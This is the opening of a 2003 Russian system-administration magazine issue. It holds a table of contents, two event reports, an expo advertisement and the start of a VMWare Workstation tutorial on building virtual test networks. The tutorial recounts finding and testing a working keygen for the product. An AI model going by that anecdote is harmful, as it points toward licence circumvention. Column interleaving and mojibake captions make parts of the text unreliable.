Вы находитесь на странице: 1из 98

№9(10) сентябрь 2003

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Маленький Linux
в качестве firewall
Работа с жестким диском
на программном уровне
Виртуальный полигон
для администратора
и разработчика
Искажение ТОС
как средство борьбы
с несанкционированным
копированием диска
Рецепты правильного
трудоустройства
Построение
переносимого Shell-кода
№9(10) сентябрь 2003

для Windows-систем
оглавление

РЕПОРТАЖ 2, 4 БЕЗОПАСНОСТЬ

АДМИНИСТРИРОВАНИЕ Очередная веская причина


задуматься о переходе
с ОС Windows на альтернативу
Виртуальный полигон Список червей в Сети дополнен еще одним – W32.Blaster.
для администратора и разработчика Анализ червя и «лекарство» от него.
Используйте технические возможности VMWare Виктор Игнатьев
на все 100%. n4vy@nm.ru 62
Андрей Бешков
tigrisha@sysadmins.ru 8
Построение переносимого Shell-кода
для Windows-систем
Маленький Linux в качестве firewall Станислав Гошко
Обзор дистрибутивов, позволяющих настроить совмес- bigafroelephaut@mail.ru 66
тный доступ в Интернет и имеющих среди дополнитель-
ных возможностей firewall, NAT, кеширующий DNS-сер-
вер, DHCP-сервер, ftp- и www-сервера, а в более про- Атака на переполнение буфера
двинутых решениях даже VPN. через неисполнимый стек
Сергей Яремчук в Windows NT/2000/XP
grinder@ua.fm 24 Станислав Гошко
bigafroelephaut@mail.ru 70
Искажение TOC как средство борьбы
с несанкционированным копированием ПРОГРАММИРОВАНИЕ
диска
Крис Касперски
kk@sendmail.ru 34 Работа с базами данных на Perl
Владислав Гошко
synthetic@inbox.ru
Загрузка по сети 74
Описывается загрузка (не путать с установкой!) опе-
рационной системы Linux по сети. ОБРАЗОВАНИЕ
Денис Колисниченко
dhsilabs@mail.ru 46
Скупой платит дважды, а умный
использует GNU Public License
Postfix+...+SpamAssassin Сравнение позиций и комментарии существенных мо-
Mini-howto ментов двух лицензий: GNU Public License и Microsoft.
Бороться с нежелательной почтой можно по-разному. Эта Павел Закляков
статья расскажет, как прикрутить фильтр SpamAssassin amdk7@mail.ru 80
к MTA Postfix.
Андрей Мозговой
brain@m9.ru 50 IMHO

HARDWARE Рецепты правильного трудоустройства


Подойдите к поиску своего призвания творчески
и не бойтесь экспериментировать!
Работа с жестким диском Крис Касперски
на программном уровне kk@sendmail.ru 88
Как осуществить доступ к IDE-диску на программном
уровне при помощи файла устройства и через порты
ATA-контроллера.
Владимир Мешков
BUGTRAQ 45, 65, 69, 78
ubob@mail.ru 54

№9(10), сентябрь 2003 1


репортаж
SYSM.01
12 июля состоялся первый Семинар си-
стемных администраторов и инженеров,
организованный порталом SysAdmins.ru
и приуроченный ко второй годовщине
сего проекта. Собралось более 130 спе-
циалистов из Москвы, Санкт-Петербур-
га, Ростова-на-Дону, Екатеринбурга, Ка-
зани. Большинство из них – професси-
ональные и начинающие системные ад-
министраторы, а также IT-специалисты,
«выросшие» из сисадминов – руководи-
тели IT-подразделений и служб техни-
ческой поддержки, IT-аналитики, сис-
темные инженеры .
Как и было обещано организатора-
ми, семинар состоялся в действитель-
но уютном и спокойном месте, которое
оказалось удобным и для размещения
иногородних участников.
Удалось все: успешно подобраны
темы выступлений, докладчикам при- Äèïëîìû ïî 3-ì íîìèíàöèÿì
шлось отвечать на многочисленные вопросы, обсужде- ным участником форума оказался Руслан Иванов (aka Rend).
ние не прекращалось и в перерывах между выступления- Атмосфера была потрясающая, общение – эффек-
ми. В кулуарах происходили не менее интересные дис- тивным и плодотворным. По словам одного из органи-
куссии, споры, обмен информацией и опытом, завязыва- заторов, Алексея Липовцева, мероприятие удалось на
лись деловые контакты, не обошлось и без сисадминских все 100%, и следующий SYSM, который состоится в де-
историй и баек. кабре 2003 года, обещает быть еще более интересным
После всех выступлений состоялось награждение па- и масштабным.
мятными дипломами участников по трем номинациям: луч- Темы и материалы выступлений вы можете найти на
шим модератором форума SysAdmins.ru безоговорочно http://sysadmins.ru
был признан Андрей Бешков (aka Tigrisha), лучшим ньюс- Наталья Хвостова
мейкером – Дмитрий Репин (aka стариk), а самым актив- Фото Алексея Фомина

Æàðêèå äèñêóññèè â ïåðåðûâàõ

2
репортаж

Âûñòóïëåíèå Àíäðåÿ Áåøêîâà

SYSM.01 çàâåðø¸í. Óäà÷íî

№9(10), сентябрь 2003 3


репортаж
Linux_fest-5.0
В последние выходные июля прошел «пятый фестиваль
разработчиков и пользователей свободного ПО «Линукс
Фест».
Несмотря на столь официальное название, фестиваль
больше всего напоминал КСП-шный слет, на котором вме-
сто песен говорили о дистрибутивах, хотя песен вечером
под гитару также хватало (ну и туристы ведь тоже о ком-
пьютерах болтают). Как вы уже поняли, фестиваль был в
лесу, на берегу замечательной речки Протвы, текущей
на границе Калужской и Московской областей. Столь не-
формальная форма проведения фестиваля была выбра-
на не случайно: на берегу речки или около костра стира-
ется разница между «зубрами» и новичками, можно спо-
койно поговорить, да и вообще – это фестиваль, а на фе-
стивале должно быть весело!
ALT Linux – ýòèì âñ¸ ñêàçàíî
объяснял находящимся вокруг особенности компиляции и
настройки системы. Надо сказать, что в +30°C такое мес-
тоположение лектора и аудитории весьма осмысленно.
Но больше всего мне запомнилась ночь: весь лес был
освещен свечками, ими же была выложена лестница к
воде, свечки стояли на берегу и в листьях кувшинок, а
некоторые, смытые течением, плыли по реке. В ночи эта
светящаяся лестница и река с уплывающими в туман све-
чами производила великолепное впечатление!
В общем, все участники хорошо отдохнули, пообща-
лись с интересными людьми и узнали что-то новое.
Эх, кабы не работа, остался бы там еще на денек!

Константин Меделян
Íåîôèöèàëüíûé ñèìâîë ôåñòèâàëÿ
Фото Валентины Ванеевы
Для увеселения были придуманы конкурсы – «сизифов
труд» (надо вкатить в гору здоровенную колоду, а потом
спустить вниз, на время), «перетягивание к хабу» (а по-
скольку сисадмин должен протянуть сеть в любых услови-
ях, то перетягивали в воде), и многие другие. Призами в
конкурсах были полные подшивки нашего журнала, майки
от ALT Linux, а за некоторые конкурсы – дистрибутивы (ко-
манда, перетянувшая каоксиальный провод на свой берег,
получила дистрибутив «Утеса» – самой последней защи-
щенной серверной версии от ALT Linux). Кроме развлече-
ний, разумеется, были и серьезные семинары, хотя порой
и облечённые в несерьезную форму: так, один семинар
проходил в воде! Разработчик некого ПО сидя в речке,

Îðãêîìèòåò è âñå, âñå, âñå Íî÷ü. Òåìíàÿ ðåêà

4
репортаж

Ðåêà Ïðîòâà

«Ìîêðûé ñåìèíàð»

№9(10), сентябрь 2003 5


Уважаемые господа!
Компания «ITE LLC» (Москва), при содействии
ITE Group Plc (Великобритания) предлагает
Вашему вниманию

НЕДЕЛЮ ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ


«IT-WEEK 2004»
Москва, Экспоцентр на Красной Пресне
26 – 29 апреля 2004 года
Неделя Информационных Технологий «IT-Week 2004» 4. Специализированная выставка CAD/CAM/CAE представ-
это: ляет системы автоматизированного проектирования. Для
 Крупнейший в России и странах СНГ форум в отрасли большинства российских производителей необходимость
Информационных Технологий использования САПР для оптимизации работы предпри-
 Пять международных IT-выставок, проводимых в одно ятия стала очевидной. Особенно ярко это проявляется в
время и в одном месте таких отраслях, как авиастроение, автомобилестроение,
 Две международные конференции тяжелое машиностроение, архитектура, строительство,
 Более 250 компаний-участников из 25 стран мира нефтегазовая промышленность.
 Свыше 75 000 посетителей из более чем 500 городов 5. eLearn Expo – специализированная выставка, на кото-
России и СНГ рой будут демонстрироваться новейшие продукты и тех-
 35 000 специалистов IT-индустрии в деловой части вы- нологии в сфере электронного обучения, предназначен-
ставки ные для коллективного и индивидуального пользования.
 Официальная поддержка Министерства РФ по связи Дистанционное обучение через сети Internet и Intranet,
и информатизации, Министерства промышленности, получившее широкое распространение в развитых стра-
науки и технологий РФ, Министерства экономическо- нах, становится все более актуальным и для России.
го развития и торговли РФ, Министерства образова- 6. eBusiness Russia (Электронный бизнес в России) –
ния РФ, а также Правительства Москвы международная конференции, посвященная вопросам
автоматизации бизнес-процессов, развития электрон-
В рамках «IT-Week 2004» пройдут следующие выстав- ной коммерции, подбора ИТ-персонала.
ки и конференции: 7. Международная конференция eLearning Russia (Ин-
1. Personal Computing Expo – общая, неспециализиро- формационные технологии в образовании), на которой
ванная выставка, ориентированная на конечных будут освещены последние достижения образователь-
пользователей. В ней представлены производители и ных технологий в школах, вузах, а также рассмотрены
дистрибьюторы персональных компьютеров и перифе- вопросы дистанционного и бизнес-образования.
рии, компьютерных игр, дистрибьюторы сотовой тех-
ники и портативных компьютеров, интернет- и контент- Рекламная кампания по привлечению посетителей на
провайдеры и многие другие. IT-Week основана на многолетнем опыте проведения выс-
2. Hardware & Peripherals Expo – специализированная тавок, тщательном анализе данных маркетинговых иссле-
выставка, на которой представлены: компьютеры, мо- дований и четком выделении целевой аудитории. Посеще-
ниторы, периферийные устройства, комплектующие, ние специализированных выставок Hardware & Peripherals
накопители, коммуникационное оборудование и услу- Expo, Software Expo, CAD/CAM/CAE, eLearn Expo, состав-
ги, т.е. весь спектр hardware, ориентированного на ве- ляющих деловую часть Недели Информационных Тех-
дение бизнеса. нологий, возможно только для корпоративных бизнес-по-
3. Software Expo – специализированная выставка, ори- сетителей, прошедших регистрацию. Это позволяет каче-
ентированная на программные продукты для систем ственно изменить состав посетителей этой части и дает
бухгалтерского и складского учета, комплексного ПО возможность участникам в деловой обстановке предста-
управления предприятием, систем управления доку- вить свою продукцию и услуги заинтересованным специа-
ментооборотом, систем распознавания документов, листам и партнерам по бизнесу. Практически полностью
разработку ПО, защиту информации. В рамках этой аудитория деловой части IT-Week представлена менед-
выставки будет подготовлен цикл тематических се- жерами высшего и среднего звена, техническими специа-
минаров, посвященных актуальным вопросам в об- листами и системными администраторами.
ласти разработки экономических программ и систем Тел.: +7 (095) 935 7350, 935 8120
управления бизнесом. eMail: it-week@ite-expo.ru

6
администрирование

ВИРТУАЛЬНЫЙ ПОЛИГОН
ДЛЯ АДМИНИСТРАТОРА
И РАЗРАБОТЧИКА

Сегодня мы поговорим о VMWare Workstation – самом младшем из продуктов в линейке виртуальных


машин фирмы VMWare. Если расположить их в порядке убывания стоимости и сложности внутреннего
устройства, то получится такая цепочка VMWare GSX Server, VMWare ESX Server, VMWare Workstation.
Сначала идут решения промышленного класса GSX Server и ESX Server. В контексте сегодняшней темы
говорить о них мы не будем, иначе статья займет слишком много места.
АНДРЕЙ БЕШКОВ
8
администрирование
Лично меня – а по прочтении этой статьи, возможно, и  SuSe Linux Enterprise Server 7,8
вас – будет больше всего интересовать VMWare Workstation,  SuSe Linux 7.3, 8.0, 8.1
как наиболее близкая по предоставляемым возможнос-
тям к нуждам большинства пользователей. Официально поддерживаемыми называются те виды
В последнее время я все чаще и чаще сталкиваюсь со Linux, для которых разработчики VMWare Workstation со-
статьями о технологиях виртуальных машин, построенных здали бинарные файлы модулей, загружаемых в ядро.
на основе VMWare Workstation. Странно, но большинство Пользователи всех остальных версий Linux должны ком-
авторов словно зациклились на описании того, как с по- пилировать такие модули из исходных текстов самостоя-
мощью виртуальной машины запустить Windows и его род- тельно. Несмотря на то, что нашего ALT Linux Master 2.2 в
ные приложения под Linux. Судя по количеству опублико- этом списке нет, мы все же настроим и запустим VMWare
ванных статей и популярности у сетевого сообщества та- Workstation под его управлением. Разобравшись с Linux,
кого рода развлечений, мне кажется, что, несмотря на обратим свой взор на Windows.
ежегодные уверенные заявления линуксоидов о превос- Ниже привожу список операционных систем Windows,
ходстве их любимой операционной системы над Windows, рекомендованных к использованию в роли основной:
пингвин еще недостаточно созрел, чтобы занять место  Windows Server 2003 Web Edition RC2, Standard Edition
Windows в качестве настольной операционной системы RC2 , Enterprise Edition RC2
для повседневного пользования. Иначе откуда у рядово-  Windows XP Professional, Home Edition
го пользователя Linux такая нездоровая тяга к проприе-  Windows 2000 Professional, Server, Advanced Server
тарному программному обеспечению? Налицо положение,  Windows NT Workstation 4.0, Server 4.0, Terminal Server
интересное своей парадоксальностью, – люди, работаю- Edition 4.0 – все с сервиспаком 6
щие на свободно распространяемой системе, использу-
ют виртуальную машину стоимостью в 300$ только для Теперь перейдем ко второму виду систем. Системы,
того, чтобы запускать внутри нее Windows и набор сопут- запущенные внутри контейнера виртуальной машины
ствующих утилит и программ. Самое веселое в этой си- VMWare Workstation, называются «гостевыми». На дан-
туации то, что за весь список программного обеспечения ный момент можно запускать следующие системы:
от Майкрософт и прочих производителей, выполняюще-  Windows Server 2003 Web Edition RC2, Standard Edition RC2,
гося внутри этой самой машины, все равно нужно пла- Enterprise Edition RC2
тить лицензионные отчисления, если не хочешь иметь про-  Windows 2000 Professional, Server, Advanced Server
блем с законом. Такой способ работы, по моему личному  Windows XP Professional, Home Edition
мнению, похож на разбивание орехов золотым микроско-  Windows NT Workstation 4.0, Server 4.0, Terminal Server
пом внушительных размеров. Результат, ради которого Edition 4.0
затевались все эти танцы вокруг кактуса, вроде бы дос-  Windows 3.1, 3.11, 95, 98, 98 SE, ME
тигнут, но возможности VMWare Workstation используют-  Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0
ся от силы на 10 процентов, да и по деньгам уж очень  Linux Mandrake 8.2, 9.0
накладно получается. Особенно если учесть то обстоя-  SuSe Linux 7.3
тельство, что существуют другие способы запустить  SuSe Linux Enterprise Server 7.0, 8.0, 8.1
Windows-программы под Linux. Решить большинство из  Turbolinux Server 7.0, 8.0
вышеописанных проблем, возникающих при попытке за-  Turbolinux Workstation 8.0
пуска чужеродного программного обеспечения, можно с  Microsoft MS-DOS 6.x
помощью Wine, Win4Lin, Crossover Office, bochs.  FreeBSD 4.0-4.6.2, 4.8
Перед тем как пуститься в обсуждение всего разнооб-  Novell Netware 5.1, 6
разия полезных применений этого продукта, разберемся
с некоторыми наиболее важными базовыми терминами, Количество официальных основных и гостевых сис-
которые будут часто использоваться в дальнейшем на про- тем постоянно расширяется, поэтому, если вы не нашли
тяжении всей статьи. в нем свою систему, не огорчайтесь. Имеет смысл по-
Операционная система, под управлением которой ра- смотреть самую последнюю версию спиcка по адресу
ботает программа VMWare Workstation, называется «ос- http://vmware.com/support/. Если же и в нем нет вашей си-
новной» системой. стемы, не отчаивайтесь. Возможно, что нужная вам сис-
В качестве основной операционной системы пока мож- тема нормально работает внутри виртуальной машины,
но использовать только Linux и Windows. К сожалению, 4-я но персонал фирмы VMWare, ответственный за тестиро-
VMWare Workstation еще не портирована для FreeBSD. По- вание новых систем, просто не пробовал устанавливать
этому поклонникам этой операционной системы придет- и запускать ее. К примеру, несмотря на то, что NetBSD,
ся довольствоваться несколько устаревшей 3-й версией. ASP Linux, Black Cat Linux и OpenBSD отсутствуют в при-
Давайте посмотрим, какие дистрибутивы Linux офи- веденном выше списке, все они отлично работали внутри
циально поддерживаются и могут выступать в роли ос- моих тестовых виртуальных машин.
новной системы: Как ни странно, но, приложив некоторое количество
 Mandrake Linux 8.2, 9.0 усилий и проведя некоторые нестандартные манипуляции,
 Red Hat Advanced Server 2.1 мне удалось более или менее сносно запустить внутри
 Red Hat Linux 7.0, 7.1, 7.2, 7.3, 8.0 контейнера даже такую экзотику, как QNX. Хотя она и за-

№9(10), сентябрь 2003 9


администрирование
работала, но из-за специфических методик тестирования дуемого программного обеспечения. После того как экс-
оборудования, используемых на этапе начальной загруз- перименты закончены, не составляет труда вернуть кон-
ки, ожидание ее длилось почти 15 минут. В процессе тес- тейнер, а соответственно и систему внутри него, в то со-
тирования обнаружилось, что временами эта гостевая стояние, в котором они были до того, как мы начали наши
система по непонятным причинам впадает в глубокую за- исследования. А при наличии желания и страсти к разру-
думчивость на срок от двух до пяти минут. Во всем ос- шению, можно вообще с легкостью уничтожить содержи-
тальном она работала довольно стабильно. Отсюда де- мое контейнера вместе со всеми опасными объектами,
лаем вывод, что система виртуальных машин имеет боль- получившимися в результате тестов.
шой запас прочности и работает гораздо лучше, чем ду- Следующей нишей, в которой возможно успешное ис-
мают ее создатели. пользование описываемой технологии, является обучение
Авторы VMWare Workstation не запрещают вам рабо- работе с теми или иными программными комплексами. Со-
тать с их продуктом любым пришедшим в голову спосо- здав одну виртуальную машину с нужным набором про-
бом, но все же справедливо считают, что использовать его граммного обеспечения, в течение нескольких минут мож-
лучше всего для наиболее интересных и нетривиальных но растиражировать ее на все машины компьютерного
задач. Давайте подробнее обсудим это странное несовпа- класса. Ничего страшного не произойдет, если обучаемый
дение взглядов на одну и ту же программу. в процессе освоения преподаваемых технологий умышлен-
Человеку, правильно понимающему, как разумно ис- но или нечаянно разрушит подопытную среду. Для восста-
пользовать технологию виртуальных машин по прямому новления поврежденной виртуальной машины из резерв-
назначению, продукт, являющийся предметом обсужде- ной копии понадобится всего несколько минут.
ния этой статьи, в первую очередь может принести пользу Подумайте, насколько удобно будет проводить реклам-
с помощью существенного ускорения процесса разработ- ные презентации внутри виртуальной машины. Можно
ки программного обеспечения. Представьте себе ситуа- выбрать любую из целевых операционных систем. Но
цию, часто складывающуюся в процессе разработки про- вместо демонстрации слайдов появляется потрясающая
граммы сразу для нескольких операционных систем. На возможность в режиме реального времени активно про-
первый взгляд все довольно легко. Пишем переносимый водить демонстрацию методов работы, разнообразных
код и с помощью кроссплатформенного компилятора со- удобств, конкурентных преимуществ и прочих интерес-
здаем бинарные файлы для каждой операционной систе- ных свойств рекламируемого продукта.
мы. Затем записываем их на сменный носитель или раз- Также перспективным является применение виртуаль-
дел диска, доступный всем операционным системам, ус- ных машин в службах технической поддержки. Только
тановленным на машине. Тестируем работу программы представьте себе возможность в течение короткого про-
под текущей операционной системой. Завершаем рабо- межутка времени построить среду, полностью повторяю-
ту с этой операционкой и перегружаем компьютер. Заг- щую конфигурацию пользовательской машины. Благода-
рузив следующую операционную систему, принимаемся ря такому подходу, поиск проблемы и ее устранение ус-
за тестирование образца, предназначенного для нее. И коряются в несколько раз.
так до тех пор, пока не проверим все варианты. Хорошо, В процессе разработки стратегии миграции с одной
если все версии бинарных файлов работают как нужно с операционной системы на другую может возникнуть не-
первого раза. Но в жизни подобное счастье приключает- обходимость проверить, как будет работать ваше специ-
ся весьма редко. Таким образом, большая часть рабоче- фическое или самописное программное обеспечение в но-
го времени будет потрачена на постоянные перезагрузки вом окружении.
из одной системы в другую. Если же мы пользуемся Все вышеперечисленные возможности выглядят очень
VMWare Workstation, жизнь становится гораздо проще. даже привлекательно, но все же статья не столько о них,
Под управлением основной системы одновременно запу- сколько об опыте комбинирования всего потенциала спо-
щены сразу все нужные нам операционные системы. Каж- собностей VMWare Workstation. Давайте разберемся, как
дая из них сидит в своем контейнере и терпеливо ожида- сполна воспользоваться техническим могуществом, пре-
ет нашего внимания, пребывая в полной уверенности, что доставляемым VMWare Workstation.
на этом компьютере выполняется только она. Теперь про- В связи со спецификой профессии, мне, как и многим
цесс тестирования проходит на порядок быстрее. Нужно другим администраторам, приходится постоянно разра-
только переключаться между операционными системами батывать способы интеграции между собой разных служб
и проверять работоспособность своей программы. и приложений. Иногда для проверки того или иного реше-
Другим полезным применением виртуальной машины ния нужна всего лишь одна машина. А что прикажете де-
может стать необходимость исследования нового, неизве- лать, если нужно имитировать работу одной или несколь-
стного и даже потенциально опасного программного обес- ких связанных между собой локальных сетей? В данном
печения. Кроме прочих кроссплатформенных удобств, это случае у нас есть два варианта действий.
дает возможность безопасно изучать компьютерные виру- Первый – по старинке взять завалявшийся на складе
сы и вредоносные программы. Внутри тестового контей- коммутатор и из старых машин собрать маленькую сеть.
нера легко создать нужную среду. Изолированность вир- Проблема в том, что старого железа, как всегда, не хва-
туальной машины от основной операционной системы дает тает. Вдобавок у такого решения есть еще один недоста-
возможность не бояться дальнейшего распространения ток, состоящий в том, что всю эту путаницу из проводов и
вируса или срабатывания вредоносных механизмов иссле- компьютеров нужно где-то расположить, но не у каждого

10
администрирование
администратора на рабочем столе есть несколько квад- служит у нас демилитаризованной зоной (DMZ). Внутри нее
ратных метров свободного места. У такого решения есть обитает машина со статическим адресом 192.168.40.32 под
еще одна неочевидная на первый взгляд загвоздка. Ник- управлением Linux Mandrake 9.0, на которой для демонст-
то не может гарантировать, что подержанное железо бу- рации работы сетевых служб будет установлен веб-сервер
дет стабильно работать, как положено. Попав в такую Apache со статическим адресом. Между собой три сети,
ловушку, можно потерять довольно много времени в по- перечисленные выше, соединены с помощью шлюза, ра-
пытках выяснить, почему та или иная подопытная опера- ботающего на основе FreeBSD 4.7 с тремя сетевыми ин-
ционная система категорически отказывается устанавли- терфейсами. Я надеюсь, всем понятно, что для более про-
ваться на выбранные компьютеры. стого функционирования наших сетей все три интерфейса
Второй вариант гораздо проще, удобнее. А самое глав- машины FreeBSD тоже должны иметь фиксированные ад-
ное – гораздо более продвинут с технической точки зре- реса. Ну и в роли нашего последнего пациента выступает
ния. Все, что нам понадобится, – это компьютер средней машина NetBSD с двумя интерфейсами. Первый из них с
мощности. Все наши тестовые сети и компьютеры, нахо- адресом 192.168.40.57 смотрит в демилитаризованную
дящиеся внутри них, мы создадим, используя средства зону, а второй является шлюзом в Интернет. На втором
комплекса виртуальных машин VMWare Workstation. интерфейсе 192.168.32.128 работает механизм преобра-
В данной статье будет подробно описана последова- зования сетевых адресов (NAT), это, в свою очередь, дает
тельность действий, необходимых для инсталляции возможность предоставить доступ к веб-серверу клиентам,
VMWare Workstation на Windows 2000 Professional. Затем находящимся в Интернете. Частично благодаря этому ма-
мы рассмотрим создание макета сетей, изображенного шины, находящиеся в наших локальных сетях, могут легко
на следующем рисунке. пользоваться услугами не только Linux веб-сервера, но
Как сделать то же самое для ALT Linux Master 2.2, бу- любого другого веб-сервера, расположившегося в любой
дет описано во второй части этой статьи. точке Интернета.
В сетях Vmnet2 и Vmnet3 находятся машины, работаю- Таким образом, у нас получается рабочий макет стан-
щие под управлением операционных систем Windows 98SE дартной схемы локальной сети масштаба предприятия,
и Windows 2000. Машина Windows 98SE имеет статичес- подключенной к Интернету. Для простоты понимания учеб-
кий адрес 192.168.120.15, а Windows 2000 получает адрес ного примера проведена миниатюризация, заключающа-
192.168.80.128 динамически с помощью DHCP. Сеть Vmnet1 яся в том, что в каждую сеть помещен только один компь-

№9(10), сентябрь 2003 11


администрирование
ютер. Я думаю, этого будет достаточно для демонстра- обеспечения на обычный компьютер. В то же время реко-
ции обсуждаемых концепций. мендуется выделять не менее 1 Гб пространства на жест-
Если верить утверждениям разработчиков, то для того, ком диске для любой гостевой операционной системы.
чтобы сносно работать с VMWare Workstation, нам потре- Итак, давайте разберемся с теорией функционирова-
буется компьютер со следующими характеристиками. ния VMWare Workstation. Внутри реальной машины на ос-
Скорость процессора минимум 266 MHz, но все же ре- нове процессора X86 работает основная операционная
комендуется не ниже 400 MHz. Стоит обратить внимание система. Под ее управлением выполняются приложения,
на тот факт, что поддержка мультипроцессорных систем родные для этой системы. Несмотря на тот факт, что
выполнена очень качественно. К примеру, можно указать, VMWare Workstation также является родным для основ-
на каком из нескольких процессоров будет выполняться та ной системы приложением, между ним и системой нахо-
или иная гостевая система. дится тонкая прослойка, называемая «слоем виртуали-
Количество необходимой памяти рассчитываем по сле- зации» и позволяющая виртуализировать работу с обо-
дующей формуле – память, необходимая для запуска ос- рудованием, установленным на реальной машине. Это
новной системы, плюс память, требуемая для каждой го- нужно для того, чтобы позволить единообразно и прозрач-
стевой системы. Минимумом принято считать 128 Мб, но но работать с подобным оборудованием из каждой госте-
лучше иметь 256 Мб. Впрочем, как я убедился на собствен- вой системы. Следующая задача, которая решается вве-
ном опыте, оперативной памяти никогда не бывает слиш- дением такого промежуточного слоя, – это предоставле-
ком много. ние всем системам одновременного доступа к оборудо-
Видеоадаптер основной операционной системы должен ванию реальной системы.
поддерживать режимы с количеством цветов более чем 256. В свою очередь внутри приложения VMWare Workstation
Пространство жесткого диска, необходимое для ин- находятся контейнеры виртуальных машин. Каждая из них
сталляции, рассчитывается так же, как и размер опера- получает в свое распоряжение следующий набор вирту-
тивной памяти. В зависимости от основной операцион- альных устройств:
ной системы, для инсталляции пакета VMWare Workstation  Процессор – такой же частоты, как установленный в
нам потребуется иметь 100 Мб свободного пространства настоящей машине. На многопроцессорном компью-
на жестком диске для Windows и соответственно 20 Мб тере каждая машина получает доступ только к одному
для Linux. Считается хорошим тоном отдавать гостевым из доступных процессоров.
системам столько же места, сколько нужно для установ-  BIOS – PhoenixBIOS версии 4.0 со встроенной поддер-
ки каждой из них и всего сопутствующего программного жкой VESA и ACPI.

12
администрирование
 Материнская плата на основе чипсета Intel 440BX с под- ми для разных платформ. Интересно то, что запраши-
держкой 82093 AA IOAPIC и NS3380 SIO. вать пробные номера можно неограниченное количество
 Оперативная память – в зависимости от доступной на раз, но на разные почтовые ящики. Вот так можно ис-
реальной машине. Не может превышать предел в 1 Гб. пользовать VMWare Workstation, не нарушая никаких за-
 SCSI – до 7 одновременно подключенных устройств. конов, сколько угодно долго. Подобная лояльная поли-
Дает возможность создавать виртуальные жесткие тика персонала VMWare.inc вызывает искреннее уваже-
диски размером до 256 Гб. Простой интерфейс рабо- ние. Видимо, деньги – не самое важное для них. Как
ты со SCSI-устройствами позволяет легко подключать обычно, потакая собственному любопытству, я задался
DVD-ROM, CD-ROM, ленточные накопители, сканеры целью посмотреть, как обстоит дело с надежностью за-
и прочие SCSI-устройства. щиты, и пошел на ближайший поисковый сервер. Про-
 Два гибких диска формата 3.5 дюйма по 1.44 Мб. грамма, генерирующая серийные номера для любой вер-
 Три Ethernet-карты, совместимых с AMD PCnet-PCI II. сии VMWare Workstation, была найдена всего за 15 ми-
 Контроллер USB 1.1 UHCI с двумя портами. Позволя- нут. Протестировав работоспособность создаваемых
ет работать с USB-сканерами, принтерами, цифровы- ключей для Windows и Linux, могу сказать, что они от-
ми камерами, наладонными компьютерами, устрой- лично работают и дают доступ к полной функциональ-
ствами для чтения карт памяти. ности виртуальной машины, снимая всяческие времен-
 Четыре последовательных (COM) порта. ные ограничения. Годы пользования свободными опера-
 Два параллельных (LPT) порта. ционными системами не прошли для меня даром, поэто-
 Клавиатура с расширенной поддержкой 104 клавиш. му я очень не люблю нарушать любые лицензионные со-
Очень удобно для виртуальных машин, внутри кото- глашения. Опираясь на все вышесказанное, для себя
рых работают гостевые Windows-системы. лично принял решение не использовать добытые таким
 Ввод и вывод звука через Creative Labs Sound Blaster образом серийные номера. Думаю, что маленькие еже-
Audio PCI. К сожалению, MIDI и джойстик не поддер- месячные неудобства, связанные с заказом новых проб-
живаются. ных лицензий, – терпимая плата за возможность работы
с таким потрясающим инструментом без всяких проблем
На основе такого богатого выбора можно создавать с представителями закона. Вы же можете поступать, как
любые, даже самые экзотичные, комбинации из выше- вам заблагорассудится.
перечисленного оборудования. Следующей в нашем В качестве первого этапа работы выполним процеду-
списке фигурирует гостевая операционная система, ко- ру инсталляции VMWare Workstation для Windows. То, что
торая работает с созданным нами набором виртуальных нам предстоит сделать, просто, как мычание. Скачиваем
устройств. На ее основе запускаются все приложения, отсюда: http://www.vmware.com/download/workstation.html
предназначенные для работы с этой конкретной систе- файл vmware-workstation-4.0.0-4460.
мой. Разобравшись с картинкой и принципами функци- Желательно также взять фирменную документацию по
онирования VMWare Workstation, приступим к практичес- теории функционирования виртуальных машин и справоч-
ким занятиям. ник часто задаваемых вопросов о гостевых системах в
ALT Linux Master 2.2 в качестве основной Linux-систе- формате pdf http://www.vmware.com/support/ws4/doc/. Ка-
мы был выбран не случайно, так как отсутствует в списке чество и подробность изложения справочного материала
официально поддерживаемых, а также за то, что вовре- выше всяких похвал.
мя оказался под рукой. Кроме всего прочего он довольно Запускаем инсталлятор на выполнение и несколько раз
широко распространен среди русскоязычных пользова- нажимаем кнопку Yes. Затем принимаем лицензионное
телей. Процедура установки на любой из официальных соглашение.
Linux-дистрибутивов слишком проста, чтобы научить чи-
тателя чему-то полезному. Многие подводные камни прой-
дут мимо и не будут замечены до тех пор, пока не придет-
ся самостоятельно устанавливать VMWare Workstation для
работы под управлением неофициального варианта Linux.
Пользуясь моим опытом, читатель ценой малой крови
сможет устанавливать VMWare Workstation на множество
других разновидностей Linux.
Освоив минимум теории, необходимой для успешной
работы с VMWare Workstation, перейдем к активным дей- Определяем целевую папку, куда нужно устанавливать
ствиям. На сайте производителя http://www.vmware.com/ файлы VMWare Workstation.
download/workstation.html заказываем себе пробный се-
рийный номер для Windows и Linux. Все подобные ли-
цензии действуют в течение 30 дней с момента отправ-
ки заказа. Таким образом, мы получаем в свое распоря-
жение на целый месяц полнофункциональную версию
программы. Через несколько минут в наш ящик элект-
ронной почты упадет два письма с серийными номера-

№9(10), сентябрь 2003 13


администрирование
После этого, следуя предупреждению, отключаем «Ав-
тозапуск» для устройства CD-ROM, потому что это может
вызывать интересные эффекты в гостевых системах.
Представьте себе одновременную попытку выполнить про-
грамму автозапуска с только что вставленного CD-ROM
внутри основной Windows и всех работающих на данный
момент версий гостевых Windows-систем. Ошибки, полу-
чившиеся в результате коллизий, вызванных борьбой за В соответствии с требованием программы инсталля-
доступ к CD-ROM, будут весьма странными. ции перезагружаем Windows. После загрузки в первый
раз запускаем VMWare Workstation. Итак, можно себя по-
здравить: процедура установки успешно завершена.
Настало время усвоить еще немного теории. Посмот-
рим, как работает и из каких компонентов состоит подси-
стема, отвечающая за работу с сетями внутри VMWare
Workstation.
Виртуальный коммутатор (virtual switch) является ба-
зовой конструкцией, на основе которой мы будем строить
Отказываемся от поиска файлов, оставшихся от пре- наши сети, и предназначен для тех же целей, что и обыч-
дыдущих версий VMWare Workstation, так как на этой ма- ный сетевой коммутатор, постоянно встречающийся нам в
шине она устанавливается впервые. Если бы у нас та- реальном мире. С его помощью можно соединять между
кие файлы имелись, можно было бы конвертировать их собой все остальные сетевые объекты. Ответственность
в новый формат и использовать со свежеустановленной за автоматическое создание коммутаторов, по мере того
версией. как в них возникает надобность, возложена на VMWare
Workstation, поэтому нам о них беспокоиться не нужно. Сто-
